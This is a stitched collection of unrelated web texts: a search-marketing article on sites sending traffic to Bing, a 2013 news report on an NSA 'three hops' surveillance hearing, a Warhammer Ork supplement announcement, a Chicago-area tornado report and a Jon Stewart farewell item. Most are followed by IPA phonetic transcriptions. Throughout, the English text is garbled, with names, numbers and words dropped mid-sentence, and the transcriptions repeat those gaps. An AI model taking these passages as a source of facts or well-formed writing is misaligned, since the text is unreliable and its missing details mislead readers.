oddest of all, currently more people search on google for google than for yahoo or bing. the chart: | noʊt: baɪ səbˈmɪtɪŋ ðɪs fɔrm, ju əˈgri tɪ θərd dɔr ˈmidiəz tərmz wi rɪˈspɛkt jʊr ˈpraɪvəsi saɪn əp fər ɑr ˈdeɪli ˈriˌkæps əv ðə sərʧ ˈmɑrkətɪŋ ˈlænˌskeɪp. wət saɪts sɛnd bɪŋ ðə moʊst ˈtræfɪk? ə səˈpraɪz. əˈkɔrdɪŋ tɪ, ˈgugəl ɪz fɔrθ ˈlɑrʤəst rɪˈfərɪŋ sɔrs. bɪˈloʊ ər ðə tɔp faɪv saɪts ðət draɪv ˈtræfɪk tɪ bɪŋ, ər ““upstream”*” tɪ bɪŋ, ɛz kɔlz ɪt: ɪz baɪ fɑr ðə tɔp sɔrs, ðə læst saɪt ˈvɪzɪtɪd baɪ əv bɪŋ ˈjuzərz ˌbiˈfɔr ðeɪ wɛnt tɪ bɪŋ. nɑt səˈpraɪzɪŋ. ˈpɔrtəl həz lɔŋ bɪn ə juʤ sərʧ ˈdraɪvər fər ˈmaɪˌkroʊˈsɔft. ɪn fækt, ðə ˈkəmpəˌni ˈrisəntli sɛd ðət hæf əv ɔl bɪŋ kˈwɪriz kəm frəm. bɪŋ ɪz ˈɔlsoʊ ðə dɪˈfɔlt wɛb sərʧ ˈɪnʤən fər ˈfeɪsˌbʊk, soʊ ˈfeɪsˌbʊk meɪks sɛns ɛz ðə ˈnəmbər tu referrer*, æt əv ˈtræfɪk. ˈwɪndoʊz lɪv meɪl əˈnəðər ˈmaɪˌkroʊˈsɔft ˈprɑpərti ðət taɪz ˈɪntu bɪŋ sərʧ soʊ əˈnəðər wən ðət meɪks sɛns ˈlɑʤɪkli. æt əv ˈtræfɪk. bət ˈgugəl ɛz ðə fɔrθ ˈlɑrʤəst rɪˈfərɪŋ sɔrs, æt ˈgugəl, wɪʧ kəmˈpits əˈgɛnst bɪŋ? ðət ˈhæpənɪŋ? ˈprɑbəˌbli tu weɪz. fərst, bɪŋ baɪz ædz ɔn ˈgugəl, laɪk ðɪs: ju kən faɪnd bɪŋ ædz ʃoʊɪŋ əp ɔn ˈsərʧɪz æt ˈgugəl fər bɪŋ, cashback*, sərʧ ˈɛnʤənz, flaɪt kəmˈpɛrəsən ənd ˈɪmɪʤ sərʧ, tɪ neɪm səm ɪgˈzæmpəlz. ˈɪntəˌrɛstɪŋli, bɪŋ əˈpɪr tɪ bi baɪɪŋ ædz əˈgɛnst ɪts ˈtæˌglaɪn, ðət ɪt ɪz ə dɪˈsɪʒən ˈɪnʤən. bɪŋ ˈɔlsoʊ dɪz ə lɔt əv ˌtɛləˈvɪʒən ˈædvərˌtaɪzɪŋ. ˌtɛləˈvɪʒən ædz ər noʊn tɪ draɪv sərʧ kˈwɪriz. soʊ ə gʊd ʧæns ðət wɪn ˈsəmˌwən siz ə bɪŋ æd, ðeɪ ˌdɪˈsaɪd tɪ ˈgugəl bɪŋ ənd dɪˈskəvər wət ʤɪst sin! ɔl ðɪs ˈɔlsoʊ əˈplaɪz tɪ ˈjɑˌhu, wɪʧ draɪvz əv ˈtræfɪk. bɪŋ ˈædvərˌtaɪzɪz ðɛr, ənd ˌtɛləˈvɪʒən ædz ˈprɑbəˌbli ˈʤɛnərˌeɪt kˈwɪriz ɔn ˈjɑˌhu fər bɪŋ, ɛz wɛl. klɪr ˈpipəl du sərʧ fər bɪŋ baɪ neɪm ɔn ˈgugəl. ˈjuzɪŋ ˈgugəl trɛnz, wi kən si ðə groʊθ əv ðɪs ˈoʊvər ðə læst jɪr. ðə sərʧ ˈvɑljum əv ðoʊz ˈsikɪŋ bɪŋ ɔn ˈgugəl: stɪl, ˈnəθɪŋ kəmˈpɛrd tɪ ðə ˈnəmbər əv ˈsərʧɪz ðət ˈhæpən fər ˈjɑˌhu ɔn ˈgugəl. ðə bɪŋ ʧɑrt əˈgɛn, ðɪs taɪm wɪθ ˈsərʧɪz fər ˈjɑˌhu ɔn ˈgugəl ˈædɪd ɪn: ˈɑdəst əv ɔl, ˈkərəntli mɔr ˈpipəl sərʧ ɔn ˈgugəl fər ˈgugəl ðən fər ˈjɑˌhu ər bɪŋ. ðə ʧɑrt: |
think of it this way. let's say the government suspects you are a terrorist and it has access to your facebook account. if you're an american citizen, it can't do that currently (with certain for the sake of argument. so all of your friends, that's one hop. your friends' friends, whether you know them or hops. your friends' friends' friends, whoever they happen to be, are that third hop. that's a massive group of people that the apparently considers fair game.
for a sense of scale, researchers at the university of milan found in 2011 that everyone on the internet was, on average, steps away from anyone else. the explores relationships up to three of those steps. (see our conversation with the alex abdo on this.)
inglis' admission didn't register among the members of congress present, but immediately resonated with privacy advocates online.
3 hops! that's a lot of data as my people know. a lot. spencer ackerman (@attackerman) july 17, 2013
do the math: your whole contact list. all their contact lists. all those people's contact lists. that's a of people. julian sanchez (@normative) july 17, 2013
@normative if you don't want to share your contact lists with the government, maybe you just shouldn't know people. jon henke (@jonhenke) july 17, 2013
the hearing was far more critical of the government than previous hearings have been. members of the house from both political parties had strong words for the agency representatives, often focused on how the letter of the law had been exploited.
ranking minority member john conyers (mi): "you've already violated the law in my opinion."
rep. jerry nadler (ny): "i believe it's totally unprecedented and goes way beyond the statute."
rep. ted poe (tx): "do you see a national security exemption in the fourth amendment? we've abused the concept of rights in the name of national security."
the author of the patriot act, jim sensenbrenner of wisconsin, reminded the government that the act was up for renewal in 2015. the provisions for phone collection, he warned, have "got to be changed otherwise in a year or year and a half you're not going to have it any more."
inglis' admission isn't likely to help the effort to convince members of the house that the surveillance programs should be kept as is. neither will a response offered by counsel robert litt. asked by committee chairman bob if the government really thought the massive collection of phone records could be kept from the american people, litt replied, "well, um, we tried."
the audience chuckled.
update, p.m.: another bit of news. the longstanding question of whether or not phone collected by includes data has been answered. "we are not collecting that data," inglis said, "under this program."
photo: inglis is sworn in. (ap)
this article is from the archive of our partner the wire. | θɪŋk əv ɪt ðɪs weɪ. lɛts seɪ ðə ˈgəvərnmənt ˈsəˌspɛkts ju ər ə ˈtɛrərɪst ənd ɪt həz ˈækˌsɛs tɪ jʊr ˈfeɪsˌbʊk əˈkaʊnt. ɪf jʊr ən əˈmɛrɪkən ˈsɪtɪzən, ɪt kænt du ðət ˈkərəntli (wɪθ ˈsərtən fər ðə seɪk əv ˈɑrgjəmənt. soʊ ɔl əv jʊr frɛndz, ðæts wən hɑp. jʊr frɛndz' frɛndz, ˈwɛðər ju noʊ ðɛm ər hɑps. jʊr frɛndz' frɛndz' frɛndz, huˈɛvər ðeɪ ˈhæpən tɪ bi, ər ðət θərd hɑp. ðæts ə ˈmæsɪv grup əv ˈpipəl ðət ðə əˈpɛrəntli kənˈsɪdərz fɛr geɪm. fər ə sɛns əv skeɪl, ˈrisərʧərz æt ðə ˌjunəˈvərsəti əv ˈmaɪˌlæn faʊnd ɪn 2011 ðət ˈɛvriˌwən ɔn ðə ˈɪntərˌnɛt wɑz, ɔn ˈævərɪʤ, stɛps əˈweɪ frəm ˈɛniˌwən ɛls. ðə ɪkˈsplɔrz riˈleɪʃənˌʃɪps əp tɪ θri əv ðoʊz stɛps. (si ɑr ˌkɑnvərˈseɪʃən wɪθ ðə ˈæləks ˈæbdoʊ ɔn ðɪs.) ˈɪŋglɪs' ədˈmɪʃən ˈdɪdənt ˈrɛʤɪstər əˈməŋ ðə ˈmɛmbərz əv ˈkɑŋgrəs ˈprɛzənt, bət ˌɪˈmiˌdiətli ˈrɛzəˌneɪtɪd wɪθ ˈpraɪvəsi ˈædvəˌkeɪts ˈɔnˌlaɪn. 3 hɑps! ðæts ə lɔt əv ˈdætə ɛz maɪ ˈpipəl noʊ. ə lɔt. ˈspɛnsər ˈækərmən (@attackerman*) ˌʤuˈlaɪ 17 2013 du ðə mæθ: jʊr hoʊl ˈkɑnˌtækt lɪst. ɔl ðɛr ˈkɑnˌtækt lɪsts. ɔl ðoʊz ˈpipəlz ˈkɑnˌtækt lɪsts. ðæts ə əv ˈpipəl. ˈʤuljən ˈsænʧɛz (@ˈnɔrmətɪv) ˌʤuˈlaɪ 17 2013 @ˈnɔrmətɪv ɪf ju doʊnt wɔnt tɪ ʃɛr jʊr ˈkɑnˌtækt lɪsts wɪθ ðə ˈgəvərnmənt, ˈmeɪbi ju ʤɪst ˈʃʊdənt noʊ ˈpipəl. ʤɑn hɛŋk (@jonhenke*) ˌʤuˈlaɪ 17 2013 ðə ˈhirɪŋ wɑz fɑr mɔr ˈkrɪtɪkəl əv ðə ˈgəvərnmənt ðən ˈpriviəs ˈhirɪŋz hæv bɪn. ˈmɛmbərz əv ðə haʊs frəm boʊθ pəˈlɪtɪkəl ˈpɑrtiz hæd strɔŋ wərdz fər ðə ˈeɪʤənsi ˌrɛprɪˈzɛnətɪvz, ˈɔfən ˈfoʊkɪst ɔn haʊ ðə ˈlɛtər əv ðə lɔ hæd bɪn ˈɛkˌsplɔɪtəd. ˈræŋkɪŋ məˈnɔrəti ˈmɛmbər ʤɑn ˈkɑnjərz (mi): "juv ɔˈrɛdi ˈvaɪəleɪtɪd ðə lɔ ɪn maɪ əˈpɪnjən." rɛpriˈzɛtətɪv. ˈʤɛri ˈneɪdələr (ny*): "aɪ bɪˈliv ɪts ˈtoʊtəli ənˈprɛsɪˌdɛntɪd ənd goʊz weɪ bɪɔnd ðə ˈstæʧut." rɛpriˈzɛtətɪv. tɛd poʊ (tx*): "du ju si ə ˈnæʃənəl sɪˈkjʊrəti ɪgˈzɛmpʃən ɪn ðə fɔrθ əˈmɛndmənt? wiv əˈbjuzd ðə ˈkɑnsɛpt əv raɪts ɪn ðə neɪm əv ˈnæʃənəl sɪˈkjʊrəti." ðə ˈɔθər əv ðə ˈpeɪtriət ækt, ʤɪm ˈsɛnsənˌbrɛnər əv wɪˈskɑnsən, riˈmaɪndɪd ðə ˈgəvərnmənt ðət ðə ækt wɑz əp fər rɪˈnuəl ɪn 2015 ðə prəˈvɪʒənz fər foʊn kəˈlɛkʃən, hi wɔrnd, hæv "gɑt tɪ bi ʧeɪnʤd ˈəðərˌwaɪz ɪn ə jɪr ər jɪr ənd ə hæf jʊr nɑt goʊɪŋ tɪ hæv ɪt ˈɛni mɔr." ˈɪŋglɪs' ədˈmɪʃən ˈɪzənt ˈlaɪkli tɪ hɛlp ðə ˈɛfərt tɪ kənˈvɪns ˈmɛmbərz əv ðə haʊs ðət ðə sərˈveɪləns ˈproʊˌgræmz ʃʊd bi kɛpt ɛz ɪz. ˈniðər wɪl ə rɪˈspɑns ˈɔfərd baɪ ˈkaʊnsəl ˈrɑbərt lɪt. æst baɪ kəˈmɪti ˈʧɛrmən bɑb ɪf ðə ˈgəvərnmənt ˈrɪli θɔt ðə ˈmæsɪv kəˈlɛkʃən əv foʊn ˈrɛkərdz kʊd bi kɛpt frəm ðə əˈmɛrɪkən ˈpipəl, lɪt rɪˈplaɪd, "wɛl, əm, wi traɪd." ðə ˈɔdiəns ˈʧəkəld. ˈəpˌdeɪt, p.m*.: əˈnəðər bɪt əv nuz. ðə ˈlɔŋˌstændɪŋ kˈwɛʃən əv ˈwɛðər ər nɑt foʊn kəˈlɛktəd baɪ ˌɪnˈkludz ˈdætə həz bɪn ˈænsərd. "wi ər nɑt kəˈlɛktɪŋ ðət ˈdætə," ˈɪŋglɪs sɛd, "ˈəndər ðɪs ˈproʊˌgræm." ˈfoʊˌtoʊ: ˈɪŋglɪs ɪz swɔrn ɪn. (ˌeɪˈpi) ðɪs ˈɑrtɪkəl ɪz frəm ðə ˈɑrˌkaɪv əv ɑr ˈpɑrtnər ðə waɪər. |
the ‘decurion’ pieces are starting to come out come see the latest formations that fit in the puzzle!
via captain citadel,
via games workshop
here is where these formations will fit in the “decurion” detachment we saw earlier in the week:
via on
we now have a pretty good picture of how this all fits together. the is the new “greentide” replacement and then you take the council of the to get and his crew. sprinkle in some other formations like the or mob and got your self a big green wrecking ball.
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waaaghghkull a codex:s supplement is your complete guide toghkull’s crusade. inside you will find the full background tale of the rise of the greatest warlord to ever stomp across the galaxy. as well as rules for fielding an army worthy ofghkull in your games of, you will find a lavish showcase demonstrating the impressive range of models, as well as and icons of the many units and formations fighting in the force. description
it has long been said that should the disparates ever unify beneath one leader they would crush all of the so-called peoples of the galaxy. that doomsday draws nearer, for the great warlordghkull has arisen, ands from all clans muster to his bellowing warcry. he is not just a mighty warrior, but a master strategist and the living prophet of and mork the brutal gods. already star systems burn upon his orders, and more will soon follow.ghkull has called the great!, drawing towards him the most warlike of his savage race. goff warbands, speed freeks, dread all have crossed the stars in their seething multitudes to join the greatest crusade in a millennium. this time, nothing will stop the green tide. in this book you will find:
a comprehensive history ofghkull, his battle to become supreme amongst thes, and his wars against the
a showcase of incredible citadel miniatures
a brand new detachment with which to build your army: the great!-band
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we’re da best. think do ya? come and have a go then, ya little wimp! | ðə ‘‘decurion’*’ ˈpisɪz ər ˈstɑrtɪŋ tɪ kəm aʊt kəm si ðə ˈleɪtəst fɔrˈmeɪʃənz ðət fɪt ɪn ðə ˈpəzəl! ˈviə ˈkæptən ˈsɪtəˌdɛl, ˈviə geɪmz ˈwərkˌʃɑp hir ɪz wɛr ðiz fɔrˈmeɪʃənz wɪl fɪt ɪn ðə ““decurion”*” dɪˈtæʧmənt wi sɔ ˈərliər ɪn ðə wik: ˈviə ɔn wi naʊ hæv ə ˈprɪti gʊd ˈpɪkʧər əv haʊ ðɪs ɔl fɪts təˈgɛðər. ðə ɪz ðə nu ““greentide”*” rɪˈpleɪsmənt ənd ðɛn ju teɪk ðə ˈkaʊnsəl əv ðə tɪ gɪt ənd hɪz kru. ˈsprɪŋkəl ɪn səm ˈəðər fɔrˈmeɪʃənz laɪk ðə ər mɑb ənd gɑt jʊr sɛlf ə bɪg grin ˈrɛkɪŋ bɔl. ˈdɪʤɪtəl ɪˈdɪʃən ə codex*: ɔrks ˌsəpləˈmɛnt ɪz jʊr kəmˈplit gaɪd tɪ kruˈseɪd. ˌɪnˈsaɪd ju wɪl faɪnd ðə fʊl ˈbækˌgraʊnd teɪl əv ðə raɪz əv ðə ˈgreɪtəst ˈwɔˌrlɔrd tɪ ˈɛvər stɑmp əˈkrɔs ðə ˈgæləksi. ɛz wɛl ɛz rulz fər ˈfildɪŋ ən ˈɑrmi ˈwərði əv ɪn jʊr geɪmz əv ju wɪl faɪnd ə ˈlævɪʃ ˈʃoʊˌkeɪs ˈdɛmənˌstreɪtɪŋ ðə ˌɪmˈprɛsɪv reɪnʤ əv ˈmɑdəlz, ɛz wɛl ɛz ənd ˈaɪˌkɑnz əv ðə ˈmɛni ˈjunɪts ənd fɔrˈmeɪʃənz ˈfaɪtɪŋ ɪn ðə fɔrs. dɪˈskrɪpʃən ɪt həz lɔŋ bɪn sɛd ðət ʃʊd ðə ˈdɪspərɪt ɔrks ˈɛvər ˈjunəˌfaɪ bɪˈniθ wən ˈlidər ðeɪ wʊd krəʃ ɔl əv ðə ˈsoʊˈkɔld ˈpipəlz əv ðə ˈgæləksi. ðət ˈdumzˌdeɪ drɔz ˈnɪrər, fər ðə greɪt ˈwɔˌrlɔrd həz ərˈɪzən, ənd ɔrks frəm ɔl klænz ˈməstər tɪ hɪz ˈbɛloʊɪŋ warcry*. hi ɪz nɑt ʤɪst ə ˈmaɪti ˈwɔrjər, bət ə ˈmæstər ˈstrætɪʤɪst ənd ðə ˈlɪvɪŋ ˈprɑfət əv ənd mɔrk ðə ˈbrutəl gɑdz. ɔˈrɛdi stɑr ˈsɪstəmz bərn əˈpɑn hɪz ˈɔrdərz, ənd mɔr wɪl sun ˈfɑloʊ. həz kɔld ðə greɪt!, drɔɪŋ təˈwɔrdz ɪm ðə moʊst ˈwɔˌrlaɪk əv hɪz ˈsævɪʤ reɪs. gɔf warbands*, spid freeks*, drɛd ɔl hæv krɔst ðə stɑrz ɪn ðɛr ˈsiðɪŋ ˈməltəˌtjudz tɪ ʤɔɪn ðə ˈgreɪtəst kruˈseɪd ɪn ə məˈlɛniəm. ðɪs taɪm, ˈnəθɪŋ wɪl stɑp ðə grin taɪd. ɪn ðɪs bʊk ju wɪl faɪnd: ə ˌkɑmpriˈhɛnsɪv ˈhɪstəri əv, hɪz ˈbætəl tɪ bɪˈkəm səˈprim əˈməŋst ðə greenskins*, ənd hɪz wɔrz əˈgɛnst ðə ə ˈʃoʊˌkeɪs əv ˌɪnˈkrɛdəbəl ˈsɪtəˌdɛl ˈmɪnɪʧərz ə brænd nu dɪˈtæʧmənt wɪθ wɪʧ tɪ bɪld jʊr ˈɑrmi: ðə greɪt 14 fɔrˈmeɪʃənz ðət kən bi juzd ɪn ˈɛni hɔrd ˈspɛʃəl rulz, ˈwɔˌrlɔrd treɪts ənd juˈnik tɪ! ˈfɔrsɪz 3 ˈɔltər əv wɔr ˈmɪʃənz ənd 6 ˈtæktɪkəl əˈbʤɛktɪvz ðət prəˈvaɪd ju wɪθ nu weɪz tɪ ˈbætəl wɪθ jʊr! ˈɑrmi wɪl bi bæk sun, ənd ˈbraɪnɪŋ ɔl ðə wɪθ ɪm ðɪs taɪm. drɔp ɪt ɪn ðə ˈkɑmɛnts ɪf ən ˈɛkspərt ənd kən hɛlp ˈjuˈɛs ˈfɪgjər aʊt nu ənd nɑt! ˈdiˈeɪ bɛst. θɪŋk du jɑ? kəm ənd hæv ə goʊ ðɛn, jɑ ˈlɪtəl wɪmp! |
crews are working to clear fallen trees and downed power lines in the city and suburbs after heavy storms swept through the area. the national weather service confirmed a tornado touched down in lake county. funnel cloud was spotted around 9 p.m. sunday in. said a preliminary survey finds that the tornado was on the ground for miles. the tornado's track began in round lake, continued through and, and ended in wildwood. winds of between 90 to 100 mph were recorded. the maximum width of the tornado's track was around 300 was the first tornado to hit lake county since of a sudden whish, whish. then everybody hit the floor," johnny scott roofs were damaged, including that of central high school, where the dugout was blown across the street and field equipment was tossed around. part of the school's roof landed in the choir teacher's front you can see, our wonderful tree caught it," jenny white said. "so i want to keep this tree. i love this tree. i hope we can save it. it saved one was injured in, but there was property was concerned that the tree would fall into the house. but god was merciful, and you saw all the branches that did break," scott said. next door, jeffrey goldsmith's vehicles were or four vehicles were dented and wiped out a bunch of trees torn off, thrown over here," goldsmith said. "it's just was flying in the air. a car was very shaken, very badly, trying to hold on to that thing. barricades from construction were flying in the air. and no sooner had it started than it stopped," sgt. scott heimus, police department, the time everything was over, i came out, and the tree that was two feet from the sunroom was totally uprooted," theresa talbert, resident, storms cut a four to five mile path of destruction and damaged about half a dozen buildings from round lake to had sirens go off many times before. and you never think it's going to be as bad as it is. this is terrible," alison dalton new skate park was also tossed around, landing near the swimming pool across the thought these were really planted in the ground, but apparently they're not. it must have been really strong to move all these big ramps," michael knapik the damage, the school plans to open on time next nearby round lake, a popular restaurant was destroyed and several homes were damaged . but no one was one was injured in chicago, but the storms uprooted trees in rogers park and on the city's north tree coming down, the damage from that, is moderate to extensive. it'll take a while for them to clean this up," dick thomas than 500 calls were made to 911, city officials said, during the remove the trees from property, meaning it's on your property, on your house, your business. we also clear the streets. once we do that, we move on to things like this one, that is partially blocking the street," commissioner charles williams, chicago streets and sanitation, damage was also have about six holes about this big in a bunch of my screens from hail ripping through them. i've never had that happen before," beth jonest the height of the storm, about customers were without of 9 p.m., about people remain without power, mainly in lake county, and will be restored once crews have safely secured the downed trees. set up a mobile unit in to help customers and make sure crews are ready to go to areas as soon as they're given the final day of lollapalooza, one of chicago's biggest music festivals, ended about 30 minutes early because of severe weather. a few of sunday's final acts, including florence and the machine, had to shorten their better to be safe than sorry. and they made a call. and they did it appropriately. and the good news is we, obviously, on the year lollapalooza, and they practice for emergencies, weather-related. and they were prepared," mayor rahm emanuel said. grant park was briefly evacuated sunday afternoon due to approaching storms. lollapalooza artists returned to the stage around 4 p.m. | kruz ər ˈwərkɪŋ tɪ klɪr ˈfɑlən triz ənd daʊnd paʊər laɪnz ɪn ðə ˈsɪti ənd ˈsəbərbz ˈæftər ˈhɛvi stɔrmz swɛpt θru ðə ˈɛriə. ðə ˈnæʃənəl ˈwɛðər ˈsərvɪs kənˈfərmd ə tɔrˈneɪˌdoʊ təʧt daʊn ɪn leɪk ˈkaʊnti. ˈfənəl klaʊd wɑz ˈspɑtɪd əraʊnd 9 p.m*. ˈsənˌdi ɪn. sɛd ə prɪˈlɪməˌnɛri ˈsərˌveɪ faɪndz ðət ðə tɔrˈneɪˌdoʊ wɑz ɔn ðə graʊnd fər maɪəlz. ðə tɔrˈneɪˌdoʊz træk bɪˈgæn ɪn raʊnd leɪk, kənˈtɪnjud θru ənd, ənd ˈɛndɪd ɪn ˈwaɪldˌwʊd. wɪndz əv bɪtˈwin 90 tɪ 100 ˈɛmˈpiˈeɪʧ wər rɪˈkɔrdɪd. ðə ˈmæksəməm wɪdθ əv ðə tɔrˈneɪˌdoʊz træk wɑz əraʊnd 300 wɑz ðə fərst tɔrˈneɪˌdoʊ tɪ hɪt leɪk ˈkaʊnti sɪns əv ə ˈsədən whish*, whish*. ðɛn ˈɛvriˌbɑdi hɪt ðə flɔr," ˈʤɑni skɑt rufs wər ˈdæmɪʤd, ˌɪnˈkludɪŋ ðət əv ˈsɛntrəl haɪ skul, wɛr ðə ˈdəˌgaʊt wɑz bloʊn əˈkrɔs ðə strit ənd fild ɪkˈwɪpmənt wɑz tɔst əraʊnd. pɑrt əv ðə skulz rʊf ˈlændɪd ɪn ðə kwaɪər ˈtiʧərz frənt ju kən si, ɑr ˈwəndərfəl tri kɔt ɪt," ˈʤɛni waɪt sɛd. "soʊ aɪ wɔnt tɪ kip ðɪs tri. aɪ ləv ðɪs tri. aɪ hoʊp wi kən seɪv ɪt. ɪt seɪvd wən wɑz ˈɪnʤərd ɪn, bət ðɛr wɑz ˈprɑpərti wɑz kənˈsərnd ðət ðə tri wʊd fɔl ˈɪntu ðə haʊs. bət gɑd wɑz ˈmərsɪfəl, ənd ju sɔ ɔl ðə ˈbrænʧɪz ðət dɪd breɪk," skɑt sɛd. nɛkst dɔr, ˈʤɛfri ˈgoʊldsˌmɪθs ˈviɪkəlz wər ər fɔr ˈviɪkəlz wər ˈdɛntɪd ənd waɪpt aʊt ə bənʧ əv triz tɔrn ɔf, θroʊn ˈoʊvər hir," ˈgoʊldsˌmɪθ sɛd. "ɪts ʤɪst wɑz flaɪɪŋ ɪn ðə ɛr. ə kɑr wɑz ˈvɛri ˈʃeɪkən, ˈvɛri ˈbædli, traɪɪŋ tɪ hoʊld ɔn tɪ ðət θɪŋ. ˈbɛrəˌkeɪdz frəm kənˈstrəkʃən wər flaɪɪŋ ɪn ðə ɛr. ənd noʊ ˈsunər hæd ɪt ˈstɑrtɪd ðən ɪt stɑpt," ˈsɑrʤənt. skɑt heimus*, pəˈlis dɪˈpɑrtmənt, ðə taɪm ˈɛvriˌθɪŋ wɑz ˈoʊvər, aɪ keɪm aʊt, ənd ðə tri ðət wɑz tu fit frəm ðə ˈsənˌrum wɑz ˈtoʊtəli əˈprutɪd," tərˈisə ˈtælbərt, ˈrɛzɪdənt, stɔrmz kət ə fɔr tɪ faɪv maɪl pæθ əv dɪˈstrəkʃən ənd ˈdæmɪʤd əˈbaʊt hæf ə ˈdəzən ˈbɪldɪŋz frəm raʊnd leɪk tɪ hæd ˈsaɪrənz goʊ ɔf ˈmɛni taɪmz ˌbiˈfɔr. ənd ju ˈnɛvər θɪŋk ɪts goʊɪŋ tɪ bi ɛz bæd ɛz ɪt ɪz. ðɪs ɪz ˈtɛrəbəl," ˈælɪsən ˈdɔltən nu skeɪt pɑrk wɑz ˈɔlsoʊ tɔst əraʊnd, ˈlændɪŋ nɪr ðə sˈwɪmɪŋ pul əˈkrɔs ðə θɔt ðiz wər ˈrɪli ˈplænɪd ɪn ðə graʊnd, bət əˈpɛrəntli ðɛr nɑt. ɪt məst hæv bɪn ˈrɪli strɔŋ tɪ muv ɔl ðiz bɪg ræmps," ˈmaɪkəl ˈnæpɪk ðə ˈdæmɪʤ, ðə skul plænz tɪ ˈoʊpən ɔn taɪm nɛkst ˈnɪrˈbaɪ raʊnd leɪk, ə ˈpɑpjələr ˈrɛˌstrɑnt wɑz dɪˈstrɔɪd ənd ˈsɛvərəl hoʊmz wər ˈdæmɪʤd bət noʊ wən wɑz wən wɑz ˈɪnʤərd ɪn ʃəˈkɑˌgoʊ, bət ðə stɔrmz əˈprutɪd triz ɪn ˈrɑʤərz pɑrk ənd ɔn ðə ˈsɪtiz nɔrθ tri ˈkəmɪŋ daʊn, ðə ˈdæmɪʤ frəm ðət, ɪz ˈmɑdərˌeɪt tɪ ɪkˈstɛnsɪv. ˈɪtəl teɪk ə waɪl fər ðɛm tɪ klin ðɪs əp," dɪk ˈtɑməs ðən 500 kɔlz wər meɪd tɪ 911 ˈsɪti əˈfɪʃəlz sɛd, ˈdʊrɪŋ ðə riˈmuv ðə triz frəm ˈprɑpərti, ˈminɪŋ ɪts ɔn jʊr ˈprɑpərti, ɔn jʊr haʊs, jʊr ˈbɪznɪs. wi ˈɔlsoʊ klɪr ðə strits. wəns wi du ðət, wi muv ɔn tɪ θɪŋz laɪk ðɪs wən, ðət ɪz ˈpɑrʃəli ˈblɑkɪŋ ðə strit," kəˈmɪʃənər ˈʧɑrəlz ˈwɪljəmz, ʃəˈkɑˌgoʊ strits ənd ˌsænɪˈteɪʃən, ˈdæmɪʤ wɑz ˈɔlsoʊ hæv əˈbaʊt sɪks hoʊlz əˈbaʊt ðɪs bɪg ɪn ə bənʧ əv maɪ skrinz frəm heɪl ˈrɪpɪŋ θru ðɛm. aɪv ˈnɛvər hæd ðət ˈhæpən ˌbiˈfɔr," bɛθ ʤoʊnz ðə haɪt əv ðə stɔrm, əˈbaʊt ˈkəstəmərz wər wɪˈθaʊt əv 9 p.m*., əˈbaʊt ˈpipəl rɪˈmeɪn wɪˈθaʊt paʊər, ˈmeɪnli ɪn leɪk ˈkaʊnti, ənd wɪl bi rɪˈstɔrd wəns kruz hæv ˈseɪfli sɪˈkjʊrd ðə daʊnd triz. sɛt əp ə ˈmoʊbəl ˈjunɪt ɪn tɪ hɛlp ˈkəstəmərz ənd meɪk ʃʊr kruz ər ˈrɛdi tɪ goʊ tɪ ˈɛriəz ɛz sun ɛz ðɛr ˈgɪvɪn ðə ˈfaɪnəl deɪ əv ˌlɑləpəˈluzə, wən əv ʃəˈkɑˌgoʊz ˈbɪgəst mˈjuzɪk ˈfɛstɪvəlz, ˈɛndɪd əˈbaʊt 30 ˈmɪnəts ˈərli bɪˈkəz əv səˈvɪr ˈwɛðər. ə fju əv ˈsənˌdiz ˈfaɪnəl ækts, ˌɪnˈkludɪŋ ˈflɔrəns ənd ðə məˈʃin, hæd tɪ ˈʃɔrtən ðɛr ˈbɛtər tɪ bi seɪf ðən ˈsɑri. ənd ðeɪ meɪd ə kɔl. ənd ðeɪ dɪd ɪt əˈproʊpriɪtli. ənd ðə gʊd nuz ɪz wi, ˈɑbviəsli, ɔn ðə jɪr ˌlɑləpəˈluzə, ənd ðeɪ ˈpræktɪs fər ˈimərʤənsiz, weather-related*. ənd ðeɪ wər priˈpɛrd," meɪər rɑm ɪˈmænjuəl sɛd. grænt pɑrk wɑz ˈbrifli ɪˈvækjəˌweɪtɪd ˈsənˌdi ˌæftərˈnun du tɪ əˈproʊʧɪŋ stɔrmz. ˌlɑləpəˈluzə ˈɑrtɪsts rɪˈtərnd tɪ ðə steɪʤ əraʊnd 4 p.m*. |
stewart is realizing that he hasn't wounded fox news quite as much as he might have liked.
jon stewart has orchestrated countless epic as host of the daily show, but was it all for naught?
during his penultimate episode, stewart showed headlines from articles that had been written about his previous episodes that used words like "eviscerated" to describe the way he would present his views on a controversial topic.
"i feel like what we've built here is a monument to evisceration," reflected stewart, whose final episode airs thursday, aug. 6. "by the way, it wasn't just eviscerating. we 'demolished,' 'crushed' we 'annihilated' things. i remember one night, even the hulk was like, 'dude, slow down.' "
in a segment entitled "the daily show: destroyer of worlds," stewart played clips of himself mocking some of his favorite targets, including isis, racial tension in the u.s. and, of course, fox news.
in each of the instances, stewart lauded himself for taking down the opponent before then playing news footage that proclaimed each target still to be as strong as ever.
he declared that fox news' power is now gone, only to then air a clip announcing that the network would moderate this week's republican debate.
"did i say fox news' influence was gone?" asked stewart. "what i meant was, it's gone all the way to the white house."
this led him to a grim assessment of his tenure as host of the show. "the world is demonstrably worse than when i started have i caused this?" he pondered.
finally, he aired clips of himself berating his beloved new york mets over the years before a recent news clip declared the mets in first place, causing stewart to cheer raucously.
stewart's guest was longtime friend louis c.k., who praised stewart for his time on the show but also for being willing to walk away on top.
"i'm really amazed by what you did here," said c.k. "it's really like one of the great comedy accomplishments of all time that you did."
